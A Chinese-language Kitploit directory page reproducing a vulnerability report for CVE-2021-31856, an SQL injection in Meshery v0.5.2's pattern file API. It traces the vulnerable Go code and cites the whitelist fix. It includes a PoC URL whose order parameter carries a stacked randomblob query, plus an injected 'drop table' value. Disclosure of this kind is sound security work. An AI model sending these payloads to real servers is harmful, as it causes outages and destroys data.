Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-31856 — 详细的CVE-2021-31856报告,包含PoC和代码分析,涉及Meshery的pattern文件API中的SQL注入漏洞,可导致未经身份验证的数据提取。 | Kitploit
工具/GitHubGitHub/ssst0n3/cve-2021-31856
漏洞分析代码分析Web应用程序漏洞利用渗透测试数据库安全
GitHubssst0n3/cve-2021-31856

CVE-2021-31856

详细的CVE-2021-31856报告,包含PoC和代码分析,涉及Meshery的pattern文件API中的SQL注入漏洞,可导致未经身份验证的数据提取。

查看仓库
45年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

[漏洞报告] CVE-2021-31856: Meshery中的SQL注入

项目详情备注
项目https://github.com/layer5io/meshery
公告日期2021-04-28
CVE-IDCVE-2021-31856https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856
EDB-ID\
受影响版本v0.5.2\
修复版本v0.5.3https://github.com/layer5io/meshery/pull/2745
CVSS7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
作者https://github.com/ssst0n3

1. 描述

meshery/models/meshery_pattern_persister.go中的GetMesheryPatterns()函数存在SQL注入漏洞,通过/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0的order参数。

2. PoC

root@kitploit:~
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0

观看视频

您的浏览器不支持HTML5视频。这里有一个视频链接供您观看。

3. 代码分析

函数GetMesheryPatterns中的参数order是一个字符串实例。在使用gorm时,它会被直接追加到查询语句中,并且sql查询语句由Find()执行。

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

如果参数order来自用户输入且未经任何过滤,则存在SQL注入漏洞。

追踪调用过程,可以发现参数"order"直接来自查询。

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
	rw http.ResponseWriter,
	r *http.Request,
	prefObj *models.Preference,
	user *models.User,
	provider models.Provider,
) {
	q := r.URL.Query()

	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
	if err != nil {
		http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
		return
	}

	rw.Header().Set("Content-Type", "application/json")
	fmt.Fprint(rw, string(resp))
}

如果进行调试,可以发现查询语句为:

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>

如果我们让order=id;drop table meshery_patterns,该语句将变成

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns

并且该表将被删除。


完整的调用链为:

https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127

root@kitploit:~
	gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
		Methods("POST", "GET")

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93

root@kitploit:~
func (h *Handler) PatternFileRequestHandler(
...
		h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
...
	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..

https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439

root@kitploit:~
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
	return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

4. 修复

为参数order设置白名单,而不是直接使用未经任何过滤的用户输入参数。

https://github.com/layer5io/meshery/pull/2745

你可以从gorm的文档中获取一些参考:https://gorm.io/docs/security.html

下载工具